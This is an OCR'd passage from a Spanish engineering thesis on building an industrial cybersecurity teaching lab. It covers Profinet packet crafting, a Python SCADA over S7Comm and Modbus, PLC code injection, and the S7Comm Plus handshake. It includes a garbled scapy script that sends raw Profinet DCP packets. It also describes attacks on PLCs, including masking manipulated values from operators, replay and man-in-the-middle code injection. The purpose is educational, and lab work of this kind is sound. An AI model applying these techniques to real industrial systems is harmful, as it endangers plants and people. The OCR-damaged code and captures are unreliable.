. 1281.828351 Siemens_aB:6b.. RealtekS_68:0.. PN-DCP 148 Ident Ok , Xid:@xl, Dev-Options(14), DeviceVendorValue, NameOfStation:“hubxbslxbs2xb2z7fel”, Dev-ID, Dev-Role, IP

. 1281.821212 Siemens_dd:19.. RealtekS_68:@.. PN-DCP 122 Ident Ok , Xid:@xl, Dev-Options(l), DeviceVendorValue, NameOfStation:"hubxbslxbs2xbl7eal”, Dev-ID, Dev-Role, Dew-Instance, IP
w 1281.822521 Siemens5_f3:4.. RealtekS_68:@. PN-DCP 158 Ident Ok , Xid:@xl, Dev-Options(2@), DeviceVendorValue, NameOfStation:"wvariadorxbs2d4lc”, Dew-ID, Dev-Role, IP

w 1281.824372 Siemens_@4:84.. RealtekS_68:@. PN-DCP 122 Ident Ok , Xid:@xl, Dev-Options(9), DeviceVendorValue, NameOfStation:"rfidxbs291e5", Dev-ID, Dev-Role, IP

w 1281.824677 Siemens_@4:83.. RealtekS_68:@. PN-DCP 122 Ident Ok , Xid:@xl, Dev-Options(9), DeviceVendorValue, NameOfStation:"rfidxbs19@a5", Dev-ID, Dev-Role, IP

Figura 55: Resultado del envio del paquete DCP [31]

from scapy.all import *
import binascii

#010ect00000 mac dest
#6805cabcc38e mac origen (CAMBIAR POR LA DEL EQUIPO) --> ether 00:e0:4c:68:06:28
#810000008892fefe05000000000100010004f 0000000000000V Payload + resto

raw_pkt = binascii.unhexlify('010ecf00000000e04c680628810000008892fefe05000000000100010004 0000000000000V 000
0000000000000V VVVRL0 ' )

pn_dcp = Ether(raw_pkt)

pn_dcp.show()

sendp(pn_dcp,iface="en8")

Observando el trafico podemos sacar la informacion respecto a los dispositivos Profinet que
se encuentran en este segmento de la red. En concreto nos encontramos varios hubs, PLCs,
camaras, lectores RFID, etc. A nosotros, los equipos que nos interesan son los PLCs, ya que

nos permiten realizar mas pruebas y ataques.

Si seleccionamos cualquiera de estos paquetes, conseguimos informacion muy Util para
realizar ataques. Los principales (aparte del nombre) son la IP y la MAC del dispositivo, las

cuales necesitaremos para llevar a cabo los ataques. Del paguete correspondiente al PLC_15,
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obtenemos que su IP es la 192.168.56.15 y su MAC 28:63:36:9a:21:04. Para comprobar que
esta direccion estd bien, probamos a crear un paquete que hace parpadear el LED de
encendido del PLC.

Para realizar esta prueba, seguimos la misma metodologia que hemos empleado para crear
el paquete de Discovery de Profinet. Obtenemos el payload de dicho paquete facilmente
desde Profinet Commander o de Internet y modificamos los campos de MAC destino por la
MAC del PLC y la MAC origen por la del ordenador del atacante. De esta forma
componemos el Hex Stream y al mandarlo confirmamos que el LED del PLC parpadea,
como era de esperar. Este codigo se encuentra en la siguiente referencia [32] y se muestra

también a continuacion.

from scapy.all import *
import binascii

#010ect00000 mac dest
#6805cabcc38e mac origen (CAMBIAR POR LA DEL EQUIPO) --> ether 00:e0:4c:68:06:28
#810000008892fefe05000000000100010004f 0000000000000V Payload + resto

raw_pkt = binascii.unhexlify('010ecf00000000e04c680628810000008892fefe05000000000100010004fff{00000000000000V000000
0000000000000V VVVRL0 ' )

pn_dcp = Ether(raw_pkt)

pn_dcp.show()

sendp(pn_dcp,iface="en8")

Una vez visto esto, es importante dejar claro que con lo presente en el laboratorio no
podemos realizar muchos més ataques. Esto se debe a que necesitamos equipos que nos
permitan escrituras no ciclicas. El equipo con el que se empez0 el testeo de este protocolo
fueron las cdmaras Cognex del laboratorio. Con estos equipos, podemos generar facilmente
trafico Profinet, pero al ser intercambios de datos en tiempo real, el PLC y la camara se
comunican cada 10 ms. Al tener tan poco margen de tiempo es muy complejo realizar un
ataque, ya que al ser ciclico tenemos que recalcular el nimero de ciclo, modificar el paquete
y enviarlo en esa ventana de tiempo. Como se puede apreciar en la siguiente figura, el trafico
generado es correcto y se aprecia el tiempo transcurrido entre los paquetes. El
funcionamiento de este proyecto con la cadmara era un disparador remoto. Cuando

accionamos una de las entradas digitales del PLC, se dispara la cAmara y nos genera una
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imagen de ese instante en el software correspondiente. Debido a esto, cuando se acciona este

disparador, se genera trafico TCP para transportar dicha imagen.

297 0.833265 Cognex_1c:27:c2 Siemens_9a:21:084 , 1D:0x8000, H , Cycle:39936 (Valid,Primary,Ok,Run
298 0.833266 Siemens_9a:21:84 Cognex_1c:27:c2 , ID:8x8010, 1 , Cycle:26048 (valid,Primary,0Ok,Run)
299 @.835234 Cognex_1c:27:c2 Siemens_9a:21: , ID:0x8000, H , Cycle:40000 (Valid,Primary,0Ok,Run)
300 @.835236 Siemens_9a:21:04 Cognex_1c:27: , ID:0x8010, H , Cycle:26112 (Valid,Primary,0k,Run)

301 @.837310 Cognex_1c:27:c2 Siemens_9a:21: , ID:0x8000, , Cycle:40064 (Valid,Primary,0Ok,Run)
302 0.837313 Siemens_9a:21:04 Cognex_1c:27: , ID:0x8010, H , Cycle:26176 (Valid,Primary,0Ok,Run)
383 0.839249 Cognex_1c:27:c2 Siemens_9a:21: , ID:0x8000, g , Cycle:40128 (Valid,Primary,0Ok,Run)
304 0.839251 Siemens_9a:21:84 Cognex_1c:27:c2 , ID:8x8010, d , Cycle:26248 (Valid,Primary,0Ok,Run)

Figura 56: Tréfico profinet entre Cognex Y PLC [33]

Una vez llegados a este punto, urge la necesidad de encontrar un dispositivo o un software
que nos permita seguir indagando en Profinet y realizar ataques sobre el PLC. En concreto,
el objetivo es encontrar una herramienta o equipo que nos ofrezca la capacidad de escribir
valores no sincronos, ya que para realizar ataques es lo 6ptimo. Debido a esto, en el apartado
de conclusiones se listard una serie de opciones que se pueden tomar para poder realizar
practicas de un nivel algo mas avanzado sobre este protocolo. Estas conclusiones serén del
estilo de una consultoria, ya que nos parece interesante que los alumnos entren en detalle de
este protocolo, ya que es de los méas usados y estandarizados para comunicaciones

industriales entre distintos equipos de distintas compafiias.
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5.5 SISTEMAS SCADA

Los sistemas SCADA son herramientas de automatizacion y de control industrial, cuyas
principales funciones son: controlar, supervisar, recopilar datos, analizar datos y generar
informes. Estos sistemas estan compuestos por varios componentes de los cuales, los mas
importantes para este proyecto seran los PLCs y los sensores (suponiendo que es un sistema

real). En la siguiente imagen se ve con detalle estos componentes:

MIU
= Base de Datos Modem
| — L
Panel de —
Visualizacidn »
Conexidn Conexion
Ethernet witi

IR
—

—o s 5

Figura 57: Esquema de un sistema SCADA [34]

Para entenderlo de forma sencilla y aplicado a nuestro ejemplo del laboratorio de ICAI, es
un sistema que nos proporciona la informacion de la fabrica y control sobre ciertos
pardmetros. Estos sistemas son importantes debido a la automatizacion que nos permite tener
en nuestro entorno industrial. También estan presentes en muchos ambitos, como el sector

energético, transporte, alimentacion, etc.

Para crear un sistema SCADA tenemos disponibles varios softwares. Como trabajamos con
automatas Siemens, el mas integrado con estos equipos es WinCC [35]. También podemos
reutilizar el codigo de Python del apartado de S7comm afadiendo una interfaz grafica. El

ataque por excelencia en este tipo de sistemas es modificar los valores mientras que se
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muestren los originales en la pantalla, de este modo, las personas que tienen acceso a estos

datos no son capaces de ver estos errores.

Para desarrollar esta parte del proyecto, voy a crear un sistema SCADA muy simple con
Python. Esta opcidn es mas interesante ya que puedo, dentro del mismo sistema SCADA,
utilizar varios protocolos a la vez. Esto ocurre mucho en los sistemas reales, ya que no todos
los sensores se comunican por el mismo protocolo. Este programa utiliza S7Comm para
controlar la maqueta de la cinta transportadora (giro y sentido) a través de la libreria Snap?.
Como segundo protocolo he escogido Modbus, el cual usamos para visualizar y modificar
dos coils. Para usar este protocolo, empleo la libreria citada en el apartado de ModBus
PyModbus [36].

La aplicacion tiene una interfaz grafica super sencilla, solo se compone de unos textos donde
se muestran los estados de las variables y unos botones para modificarlos. Para que sea
realista, los datos que se muestran son “en tiempo real”. Se ha creado un Thread aparte para
la lectura. Cada medio segundo se leen las variables del PLC y los Coils de Modbus. La
aplicacion no esta optimizada, por lo que el tiempo de respuesta puede variar, pero en
cualquier caso sirve para hacer las pruebas pertinentes.

Para las lecturas y escrituras, se emplea el PLCSim ya visto anteriormente y para ModBus
empleamos el ModBusPal. En este Gltimo es importante que, al crear el esclavo, tenga la ip
de la maquina. Es decir, el equipo donde se va a ejecutar el ModBusPal es la que tiene IP
192.168.1.10, por lo que tengo que crear en ese equipo un esclavo que tenga como nombre
esa IP. Esto se debe a que el PyModbus busca el esclavo con nombre igual a la IP del equipo
que se indicar. Para que esto funcione correctamente, debemos tener arrancados y

funcionando el PLCSim y el ModbusPal.
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Sistema SCADA lab ciberseguridad

Giro: True Sentido: False ModO: True Mod1: False

Giro Sentido Mod0 Mod1

Figura 58: Sistema SCADA creado en Python [37]

En cuanto a los ataques que se pueden realizar sobre estos sistemas, se recurren a los ya
vistos. Estos sistemas no tienen sus propios protocolos para comunicarse, si no que utilizan
varios protocolos industriales para ello. Como es en este ejemplo, el SCADA de ejemplo se
basa en S7TComm y Modbus. No voy a entrar en detalle de como realizar ataques sobre estos
dos protocolos ya que han sido explicados anteriormente. Todos los ataques citados se
pueden emplear para este SCADA y modificar las variables. Lo Unico interesante que se
puede afadir, es el factor de que, al ser un sistema en tiempo real, es importante cuando se
realiza un ataque, no ser detectado. Para ello, cuando escribamos un valor en una variable,
es interesante mandar mensajes del estado previo de la variable de vuelta al SCADA para
que el ingeniero que lo monitoriza no sospeche de que el sistema ha sido comprometido. En
la siguiente imagen se puede apreciar el trafico que genera este sistema por defecto (lectura

y escritura de valores)

58



COMILLAS UNIVERSIDAD PONTIFICIA COMILLAS
UNIVERSIDAD PONTIFICIA ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
GRADO EN INGENIERIA EN TECNOLOGIAS DE TELECOMUNICACION
DISENO E IMPLEMENTACION DE UN LABORATORIO DE CIBERSEGURIDAD INDUSTRIAL

1 0.000000 192.168.1.18 192.168.1.38 Modbus/TCP 64 Response: Trans: 29; Unit: @, Func: 1: Read Coils
2 9.000183 192.168.1.38 192.168.1.10 e 54 55273 - 502 [ACK] Seg=1 Ack=11 Win=4895 Len=0

6 ©.583697 192.168.1.38 192.168.1.10 S7COMM 85 ROSCTR: [Job ] Function: [Read Var]

7 8.525865 192.168.1.18 192.168.1.38 S7COMM 86 ROSCTR: [Ack_Datal Function:[Read Varl

8 98.526056 192.168.1.38 192.168.1.10 TCP 54 55271 - 102 [ACK] Seq=32 Ack=33 Win=4095 Len=0

9 9.527733 192.168.1.38 192.168.1.10 Modbus/TCP 66 Query: Trans: 30; Unit: @, Func: 1: Read Coils
13 9.621874 192.168.1.18 192.168.1.38 TCP 60 502 - 55273 [ACK] Seq=11 Ack=13 Win=511 Len=0

29 1.194671 192.168.1.18 192.168.1.38 Modbus/TCP 64 Response: Trans: 3@; Unit: @, Func: 1: Read Coils

Figura 59: Tréfico generado por el sistema SCADA [38]

En caso de realizar un sistema SCADA con WInCC, se puede realizar directamente sobre
TIA Portal gracias a su integracion. A continuacion, se muestra un ejemplo de como seria
un sistema SCADA muy simple para este proyecto. El sistema no es funcional, pero es para
mostrar como seria visualmente esta herramienta. En TIA creamos esta aplicacion como un
HMI normal, tiene una interfaz grafica donde se van afiadiendo los distintos componentes

que conforman al sistema y se vinculan las variables del PLC a estos.

I SIMATIC WinCC Runtime Advanced - o x

COMILLAS

UNIVERSIDAD PONTIFICIA

() O)

Switch Switch

Switch Switch

Figura 60: Ejemplo de sistema SCADA con WinCC
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5.6 INYECCION DE CcODIGO SOBRE PLCs

Este tipo de ataques es uno de los que mas puede comprometer el funcionamiento de una
planta o entorno industrial donde se encuentren los equipos donde se ha inyectado cédigo.
El funcionamiento de este tipo de ataques se basa en interceptar la carga del programa entre
el TIA Portal y el PLC (en caso de hablar de autobmatas Siemens). Al interceptar esta
comunicacion, el atacante es capaz de crear su propio programa para el PLC e inyectarlo en
los paquetes de dicha comunicacion. Con esto, el atacante consigue poder subir el programa

que él quiera sin que sea la persona que inicia y autoriza la carga sobre el autdmata.

Para ello hay que entender el protocolo que se encarga de transportar estos datos entre el PC
y el PLC. Este protocolo, en el caso de los equipos del laboratorio (S7-1500) se trata de la
version mejorada del S7TComm, conocida como S7Comm plus. El funcionamientO de este
protocolo se explica con detalle en el Anexo 2.

Debido a que para llevar a cabo este tipo de ataques se basan sobre S7Comm plus,
concluimos que es un atague con una alta complejidad como para que se lleve a cabo por
parte de los alumnos. Esto se debe a la seguridad que este protocolo aporta a la
comunicacion. Aun asi, es un ataque que se puede realizar, pero requiere muchos

conocimientos previos y saber de otros conceptos que no proceden.

Viendo este ataque desde un alto nivel, una vez interceptada la comunicacion y
comprometida la red y tenemos la posibilidad de cambiar el payload de los paquetes que se
intercambian la estacion del ingeniero (desde donde se sube el software) y el PLC. Paraello,
también es muy importante conocer y descubrir cdmo se forman los paquetes y ver que bytes
son los que transportan el payload de los paquetes que cargan el codigo al PLC. Una vez
conocido y detectado esto, se puede llevar a cabo el ataque con un packet replay (nos
basamos en los paquetes de subida de codigo original para modificarlos) o con un Man in
the Middle, interceptando la comunicacion y variando los bytes de la carga del codigo.

Para mas detalle sobre este tipo de ataques, recomiendo consultar la siguiente referencia
[39].

60



COMILLAS UNIVERSIDAD PONTIFICIA COMILLAS
UNIVERSIDAD PONTIFICIA ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
GRADO EN INGENIERIA EN TECNOLOGIAS DE TELECOMUNICACION
DISENO E IMPLEMENTACION DE UN LABORATORIO DE CIBERSEGURIDAD INDUSTRIAL

Capitulo 6. ANALISIS DE RESULTADOS

Con todo lo anterior, podemos analizar los resultados que hemos obtenido de los distintos
ataques y de los distintos protocolos. Los ataques estudiados en su gran mayoria son muy
simples de llevar a cabo y no requieren mucho estudio previo, por lo que es muy adecuado

para el desarrollo de unas practicas de ciberseguridad.

En cuanto al protocolo S7Comm, es interesante ya que los ataques los realizamos a través
de varias herramientas, dos de las cuales se pueden emplear para otros ataques. No solo es
importante saber los ataques y como se realizan, sino que también cémo funciona el
protocolo. En este caso, como se ha visto, el protocolo no cifra la informacion y desde
Wireshark podemos conseguir mucha informacion sobre las variables que se estan

empleando y como se usan. Esto también facilita otro tipo de ataques como el packet replay.

En cuanto al hermano mayor de este protocolo, el S7TComm Plus, podemos afirmar que el
objetivo con el que se desarrolld este protocolo se cumple con creces. Con esta versién se
complican los ataques mucho, aunque son posibles. A pesar de que concluimos que es un
protocolo demasiado complejo como para realizar précticas, es interesante ver cémo

funciona y en que se basa su seguridad.

Otro de los ataques que se plantearon en un principio para el desarrollo de este proyecto, es
la inyeccidn de codigo sobre los PLCs. Como este ataque se basa en el protocolo S7TComm
Plus, no se realiza debido a su complejidad. A pesar de ello, también se estudia levemente
en qué consisten estos ataques, ya que es interesante para el desarrollo del conocimiento de
los alumnos, ya que se podria aplicar este tipo de ataque a otros dispositivos con otros

protocolos.

En cuanto a Modbus, es un buen protocolo para iniciarse en temas de ciberseguridad
industrial. Es un protocolo muy simple que transmite la informacion en texto plano y eso
facilita mucho los ataques y comprender como funcionan. Gracias a esto, podemos realizar

varios tipos de ataques mas complejos como pueden ser el packet replay y un man in the
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middle sin que la complejidad sea demasiado alta. Este protocolo nos permite aprender el
funcionamiento de estos ataques con detalle. Debido a esto, seria recomendable realizar las
précticas de este protocolo de los primeros, para asentar los conocimientos de los ataques

antes de proceder con protocolos mas complejos.

En cuanto a Profinet, también se demuestra que, a pesar de ser uno de los protocolos mas
usados y estandarizados de la industria, para ciertos tipos de traficos se pueden realizar
ataques facilmente. En el laboratorio hay presentes varios equipos que se comunican a través
de profinet pero o son Siemens (prioriza comunicacion S7) 0 no son equipos que Nnos
permitan realizar escrituras asincronas sobre registros o valores discretos. A pesar de esto,
se ha podido crear dos pequerfias pruebas en los que se crean paquetes de descubrimiento
(para que los equipos en red nos avisen si son compatibles con profinet) y otro para parpadear
el LED de encendido de un automata. Para realizar estas dos practicas, se ha partido de un
software que nos permite realizar estas funciones de forma simple. Al mandar estos paguetes
desde la aplicacion, podemos capturar los paquetes desde Wireshark y realizar un ataque de
packet replay. Para poder hacer estos “ataques”, debemos de descomponer el stream en
hexadecimal del paquete original para modificar los campos necesarios, como en este caso
las MACS. El payload del paquete original se debe mantener idéntico para que el paquete,
al ser recibido y procesado por el destino, realice la accion deseada. El resto de las pruebas
y ataques que se pensaron para este proyecto, no se han podido realizar debido a la falta de
herramientas. A pesar de esto, en las conclusiones, se listan una serie de soluciones o
directrices a seguir en caso de querer implementar este protocolo de forma completa en el

laboratorio de ciberseguridad.

Por ultimo, en cuanto a los sistemas SCADA, es interesante estudiarlos debido a que es algo
muy extendido en la industria y cada vez maés utilizado. Estos sistemas van en crecimiento
debido al éxito que estan teniendo los sistemas distribuidos en todas las industrias. Nos
permite en un software simple, controlar y monitorizar los datos mas importantes de una
fabrica. En este proyecto se ha creado e implementado un sencillo sistema SCADA creado
en Python y con comunicaciones sobre S7Comm y Modbus. Con este sistema, al ser
“virtual”, aunque sea muy sencillo, nos ha permitido crear un sistema algo mas real. Esto se

debe a que, en la industria, tenemos muchos sensores, accionadores y otros equipos
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conectados en red, que no se comunican todos con el mismo protocolo. Estos sistemas suelen
trabajar con varios protocolos y marcas de fabricantes y nos son tiles ya que nos centralizan
toda la informacion, ya sea de lectura o de escritura. Debido a esto, los ataques realizados
sobre este sistema son 0s ya Vvistos en los apartados especificos de estos dos protocolos. En
caso de tratarse de un SCADA con otros protocolos, los ataques seran los concretos de los

protocolos con los que trabaja el sistema.
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Capitulo 7. CONCLUSIONES Y TRABAJOS FUTUROS

Todos los objetivos que se propusieron al principio del proyecto han sido estudiados y
tratados. Las conclusiones en algunos casos han sido mas que satisfactorias y en otras nos

hemos topado con inconvenientes.

La principal conclusién es que si se puede desarrollar un laboratorio de ciberseguridad en
ICAL. Para ello se pueden emplear los ataques citados en este trabajo como manual. Con lo
explicado en este trabajo, los alumnos seran capaces de desarrollar su conocimiento con
respecto a la ciberseguridad en entornos industriales. Esto es importante debido a la gran
revolucion en la que esta involucrada este sector. Los protocolos que se han tratado en este
trabajo son los principales que se manejan en la industria, por lo que las practicas serian

bastante realistas.

A pesar de todos esto, en este trabajo, también se ha realizado una pequefia “auditoria” para
ver si es viable realizar este laboratorio y como se implementaria. Esta parte de auditoria es
importante, ya que como se ha explicado en la primera parte de analisis de redes, se observa
que hacen falta equipos para que el proyecto salga adelante. En este caso han sido unos
switches. También se podria plantear el obtener equipos mas antiguos para aprender cOmo
realizar algunos de los ataques vistos directamente en equipos reales en vez de simuladores.
También se podrian realizar otro tipo de ataques como, por ejemplo, en el caso de tener un
PLC Siemens de la serie 1200 o inferior, podriamos realizar ataques de start/stop. También
en caso de tener PLCs de la gama 300 y 200, aparte de todo lo anterior, se pueden realizar

los ataques de inyecciones de codigo ya citados anteriormente.

Otras conclusiones importantes son que, durante el desarrollo del proyecto, nos hemos dado
cuenta de que ciertos protocolos son complejos. Por ejemplo, analizando el trafico presente
en las comunicaciones entre equipos de Siemens, nos esperdbamos encontrar Profinet o

S7Comm, no S7TComm Plus.
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Después de haber visto los resultados obtenidos de Profinet, el paso mas légico es proponer
soluciones tecnoldgicas para poder implementar de forma completa este protocolo. En esta
fase se ha hecho un estudio de las soluciones disponibles en el mercado, evaluando hardware
y software. Definitivamente, creemos que la mejor opcién seria emplear alguno de los
softwares que se citaran a continuacion. Esto se debe a que los equipos de hardware Siemens
que nos permiten realizar escrituras de datos discretos y no ciclicos a través de Profinet, son
equipos antiguos y de un precio todavia algo elevado. Debido a esto, se ha optado por
soluciones de software. En cuanto a las aplicaciones disponibles, tampoco hay tantas

opciones y no son de libre uso.

La primera opcion es optar por un simulador de un master de Profinet [40], que nos
proporciona la empresa Anybus (ofrecen este tipo de simuladores de muchos protocolos y
equipos fisicos). En cuanto a este programa, la implementacion es completamente virtual,
ya que no tiene buena comunicacion con equipos reales (TIA Portal). Es importante destacar
qgue no hemos podido probar esta solucion, ya que el departamento de ventas no ofrece

pruebas de esta herramienta y no nos han contestado de vuelta.

A pesar de esto, la segunda herramienta que proponemos es la que recomendamos para la
implementacidn de Profinet en el laboratorio. Esta herramienta es la citada en el apartado de
Profinet usada para sacar los payloads de los mensajes que se iban a crear. Esta herramienta
es Profinet Commander. Esta herramienta tiene una version gratis, la cual hemos usado en
el apartado de este protocolo. Esta herramienta, en la version de pago nos ofrece opciones
muy interesantes para desarrollar practicas y ataques sobre este protocolo. Nos ofrece leer
variables y escribir sobre ellas, entre otras cosas, que es lo que nos interesa. La principal
ventaja que nos ofrece este software es la posibilidad de integrarlo con TIA Portal a través
de los archivos GSD vy tener una implementacion completa con los equipos fisicos del
laboratorio. Con este software se podria implementar ataques parecidos a los vistos en
Modbus, con un packet replay y man in the middle. Esta herramienta tiene un precio de cara
al cliente normal (particular) de unos 600 dolares, lo cual es bastante elevado y requiere una

licencia por instalacion.
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De cara a continuar este proyecto en un futuro, se podrian implementar equipos de otras
marcas 0 equipos Siemens que soporten mas protocolos. También para que todo esto sea
mucho mas visual, se podria crear una maqueta en la que distintos sensores y actuadores

funcionen con distintos protocolos y asi tener un sistema centralizado sobre el que realizar

distintos ataques.
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ANEXO I: ALINEACION DEL PROYECTO CON

LOS ODS

Los ODS (Objetivos de Desarrollo Sostenible) son 17 objetivos y areas de intervencion en
la que los estados miembros de la ONU se han puesto como objetivo. Todo esto se establece
para acabar con la desigualdad entre paises y mejorar la calidad de vida de todas las personas
por igual. También, nosotros como alumnos tenemos que aportar a estos objetivos, ya que
al ser ingenieros (como muchos otros empleos), tenemos un compromiso e impacto sobre la
sociedad y su desarrollo.

Mi proyecto a priori no tiene mucho que aportar a los ODS, pero si leemos con detalle, en
alguno de ellos si que se puede integrar. Como se trata de ciberseguridad en entornos
industriales, todo lo que tenga que ver con realizar los procesos mas eficientes, Otro punto
de vista importante es aplicar esta ciberseguridad para evitar malfuncionamientos
intencionados de los productos y evitar contaminaciones excesivas de los mismos y de las
plantas de produccién.

Debido a esto, el objetivo que mas se parece a mi proyecto es el 9. Este se titula industria,
innovacion e infraestructuras. En concreto el 9.5y 9.c. En el primero, se busca la innovacién
de las infraestructuras, sobre todo de los paises en desarrollo. Para conseguir esto es clave
realizarlo de forma segura, ya que muchas veces los paises con pocos recursos no invierten
en ciberseguridad y acaban siendo objetivo de muchos ataques y hace que la produccion sea
contraproducente. Para ello es muy importante la investigacion para poder tener todos los
fallos de seguridad bajo control y desarrollar comunicaciones mas seguras.

En el apartado 9.C se centra en aumentar el acceso de la tecnologia de la informacion y
comunicacion a las personas a las personas. Como ya he dicho antes, esto se debe de realizar
de forma segura, ya que podriamos dar estos servicios, pero Si no son seguros, se veran
comprometidos y servirian de poco. En resumen, es un proyecto que se puede involucrar en
varios ODS debido a las necesidades actuales de la tecnologia, pero no hay ningun objetivo

centrado en ciberseguridad como tema principal.
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ANEXO II: S7TCOMM PLUS

En este anexo se va a tratar sobre la versién mejorada del S7comm, conocida como S7comm
plus. Este protocolo se basa en la version anterior y se cre6 para incrementar la seguridad
que aporta el protocolo. Como se explicara a lo largo del anexo, podemos confirmar que
hace muy buen trabajo aportando confidencialidad, integridad y no repudio en las

comunicaciones.

Este protocolo se observa en los automatas Siemens de la serie 1200 y 1500, que fueron los
primeros en incorporar el protocolo. Estos PLCs usan dicho protocolo para cualquier
comunicacion con cualquier otro equipo moderno de Siemens. También se emplea para la
comunicacion con TIA Portal, aportando seguridad en la carga, descarga y lecturas entre PC
y PLC, uno de los puntos méas débiles del STComm, donde se puede facilmente interceptar

la carga del programa de TIA al PLC e inyectar codigo malicioso sobre el automata.

En concreto, el protocolo implementa sistemas de autenticacion y de encriptacion de punto
a punto en la comunicacion. Para ello, se basa en un proceso de handshake para negociar las
claves y autenticar a los equipos que participan en la comunicacidn, como se explicara
posteriormente. Debido a esto, es muy complicado que un atacante puede comprometer la
red. Ataques del tipo del packet replay también son muy complejos de realizar, ya que habria
que desencriptar el paquete original, modificar lo que se desee y por altimo, volver a

aplicarle la encriptacion correspondiente y recalcular varios pardmetros.

Otro detalle que hay que tener en cuenta es que no todos los equipos que usan S7TComm Plus
tienen el mismo nivel de seguridad. Hay parte de la seguridad del protocolo que recae sobre
las versiones del PLC que usemos y del TIA Portal. En la siguiete tabla se puede observar
como cambia. En los equipos del laboraorio esta presente la version de TIA Portal 16, de la
cual no tenemos informacion y complica la realizacion de ataques. Por ejemplo, para
demostrar las diferencias dentro de las distintas versiones del S7Comm Plus, con un PLC de
la serie S7-1200, se pueden crear paquetes para parar, arrancar y resetear el PLC, mientras

que con uno de la serie S7-1500 no es posible.
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S7-1200{S7-1500 V1.1{S7-1500 V1.8|S7-1500 V2.1
TIA V12| P2~ P2 P2 P2
TIA V14| P2~ P2 P3 P3
TIA V15| P27 P2 P3 P3

Tabla 1: Versiones del S7TComm Plus segin PLC y TIA Portal [1]

Antes de ver como se efectla el proceso de handshake, es necesario saber que wireshark no
nos muestra este trafico por defecto, ya que tenemos que afiadir el disector. Este lo podemos
conseguir en la referencia [2] y segun el sistema operativo se afiade de formas distintas. En
sistemas Windows basta con descargar el .dll y ponerlo en la carpeta de plugins de
Wireshark. Por otro lado, para sistemas Linux, tenemos que descargarnos el codigo fuente
del disector y el de Wireshark, juntar los dos codigos (el disector hay que meterlo con el
resto) y compilar la aplicacion. En la referencia [3] esté el enlace al repositorio de GitHub

donde se encuentra el cddigo fuente de ambos empleados para esta seccion.

Este proceso de handshake es muy parecido al de otros protcolos, en los que se negocia las
claves que se van a emplear en la comunicacion para asegurar la integridad de los datos y la
seguridad del sistema. A continuacién, se muestra como es este proceso de handshake en un

diagrama secuencial (para un S7-1200):

\ TIA S$7-1200 PLC

_ 1 .Hidshake initiation

e ———
—
—

2. Challenge s

PR s

e

aAK

—

———_ 5Function

o
——

Figura 1: Proceso de handshake [1]
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En la siguiente imagen se muestra el trafico generado en este proceso y se detallara el

contenido de estos mensajes:

28 27.886742 IntelCor bc.. Siemens_9f:.. ARP 6@ 192.168.56.6 is at 68:85:ca:bc:d3:85

25 27.886745 192.168.56.16 192.168.56.6 TCP 6@ 182 - 53684 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=6 M55=1450

3@ 27.887142 192.168.56.6 192.168.56.16 TCP 6@ 53684 + 182 [ACK] Seq=1 Ack=1 Win=54248 Len=08

31 27.887498 192.168.56.6 192.168.56.16 COTP 89 CR TPDU src-ref: 8x@@12 dst-ref: exdoee

32 27.887764 192.168.56.16 192.168.56.6 COTP 89 CC TPDU src-ref: 8x@e1@ dst-ref: ewxgel2

33 27.888812 192.168.56.6 192.168.56.16 STCOM.. 284 «53684 Ver:[V1l] Seq=1 [Req CreateObject] ObjectServerSessionContainer
34 27.893299 192.168.56.16 192.168.56.6 S7COM.. 288 »53684 Ver:[V1] Seq=1 [Res CreateObject] Retwal=0K ObjId=DynObjX7.@.3
35 27.893382 192.168.56.6 192.168.56.16 COTP 61 DT TPDU (@) [COTP fragment, @ bytes]

36 27.897266 192.168.56.6 192.168.56.16 S7COM.. 476 +53684 Ver:[V2] Seq=2 [Req SetMultiVariables] ObjId=DynObjX7.@8.3667
37 27.997269 192.168.56.16 192.168.56.6 TCP 6@ 182 = 53684 [ACK] Seq=27@ Ack=695 Win=777@ Len=@

38 27.143714 192.168.56.16 192.168.56.6 S7COM.. 86 53684 Ver:[V2] Seq=2 [Res SetMultivariables] Retval=0K

39 27.143716 192.168.56.6 192.168.56.16 COTP 61 DT TPDU (@) [COTP fragment, @ bytes]

48 27.143971 1592.168.56.6 192.168.56.16 S7COM.. 155 «53684 Ver:[V3] Seq=3 [Req GetVarSubStreamed]

41 27.144332 192.168.56.16 192.168.56.6 TCP 6@ 182 -+ 53684 [ACK] Seq=382 Ack=883 Win=8891 Len=@

42 27.146141 192.168.56.16 192.168.56.6 S7C0M. 123 +53684 Ver:[V3] Seq=3 [Res GetVarSubStreamed] Retval=0K

Figura 2: Trafico del proceso de handshake [4]

Como se puede apreciar en la captura anterior, los paquetes S7TComm plus se basan al igual
que el STComm en TCP y COTP. Es importante también observar que, segun el paquete, se
puede observar que tiene una version distinta (V1, V2 o V3). Estas versiones no se refieren
a las versiones del protocolo vistas anteriormente, si no a la fase de la comunicacién a la que
hacen referencia. Por ejemplo, el 1 y 2 son las que establecen la comunicacion con el
handshake y comparten sus claves y el 3 es el que indica que la comunicacién ya se ha

establecido y el trafico es normal.

Ahora, vamos a entrar en detalle de todas las fases vistas en el esquema del handshake y
como se reflejan en los paquetes capturados. La fase de iniciacion del handshake son los
paquetes 31 y 32. Estos paquetes contienen los campos Connect Request (CR) y Connect
Confirm (CC) respectivamente. La fase del Challenge son los paquetes 33 y 34. En este

punto, el plc genera 20 bytes aleatorios que se usaran para identificar la sesion y otros
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parametros. El paquete 33 es el que manda TIA al PLC y en este se solicita crear el objeto

ClassServerSession:

~ 57 Communication Plus

Header: Protocol version=Vl
¥ Data: Request CreateObject

<

Opcode: Regquest (Bx31)
Reserved: Bx@000
Function: Createdbject (@w@4ca)
Reserved: 8x@0e@
Sequence number: 1
Session Id: @xBeeeal128
Transport flags: @x36, Bitl-SometimesSet?, Bit2-AlwaysSet?, Bit4-AlwaysSet?, Bit5-AlwaysSet?
Request Set
~ Ttem Value: ID=ObjectServerSessionContainer (UDInt) = @

ID Number: ObjectServerSessionContainer

Datatype flags: @x@8

Datatype: UDInt (@x84)

Value: @

Unknown value 1: @x@0800000

v Object: ClsId=ClassServerSession, RelId=GetNewRIDOnServer

Element Tag-Id: Start of Object (Bxal)

Relation Id: GetNewRIDOnServer

Class Id: ClassServerSession

Figura 3: TIA solicita al PLC crear el objeto ClassServerSession [4]

A este mensaje le responde con la informacion sobre el firmware que el PLC esta corriendo

y 20 bytes generados aleatoriamente citados anteriormente (ServerSessionChallenge).

También se manda el sessionlD, que se emplea para saber que mensajes son de cada sesion:

¥ Response Set

Return value: @xB800800080088000, Error code: OK, Generic error code: Ok
